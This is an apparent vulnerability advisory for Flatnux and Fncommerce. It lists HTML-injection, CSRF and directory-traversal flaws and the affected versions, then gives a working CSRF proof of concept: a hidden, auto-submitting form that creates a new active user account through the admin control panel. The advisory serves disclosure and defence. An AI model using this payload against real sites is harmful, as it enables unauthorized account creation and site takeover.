source: https://www.securityfocus.com/bid/52846/info Flatnux is prone to multiple security vulnerabilities: 1. An HTML-injection vulnerability 2. A cross-site request-forgery vulnerability 3. A directory-traversal vulnerability Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials, obtain sensitive information, or control how the site is rendered to the user. Other attacks are also possible. The following versions are vulnerable: Flatnux 2011-08.09.2 Flatnux 2011-2012-01.03.3 Flatnux 2011-minimal-2012-01.03.3 Fncommerce 2010-08-09-no-db Fncommerce 2010-08-09-no-sample-data Fncommerce 2010-08-09-with-sample-data Fncommerce 2010-12-17-no-db Fncommerce 2010-12-17-no-sample-data Fncommerce 2010-12-17-with-sample-data <html> <form name="test" action="http://www.example.com/flatnux/controlcenter.php?page___xdb_fn_users=1&order___xdb_fn_users=username&desc___xdb_fn_users=&op___xdb_fn_users=insnew&page___ xdb_fn_users=&op=editdata&opt=utilities/xmldb_admin&t=fn_users" method="post"> <input type="hidden" name="username" value="csrf"><br/> <input type="hidden" name="email" value="csrf () hotmail com"><br/> <input type="hidden" name="passwd" value="186911"><br/> <input type="hidden" name="passwd_retype" value="186911"><br/> <input type="hidden" name="name" value="csrf"><br/> <input type="hidden" name="surname" value="Mr"><br/> <input type="hidden" name="link" value="http"><br/> <input type="hidden" name="avatarimage" value=""><br/> <input type="hidden" name="avatar" value=""><br/> <input type="hidden" name="save___xdb_fn_users" value="__xdb_fn_users"><br\> <input type="hidden" name="activ" value=1><br/> </form> <script>document.test.submit();</script> </html>
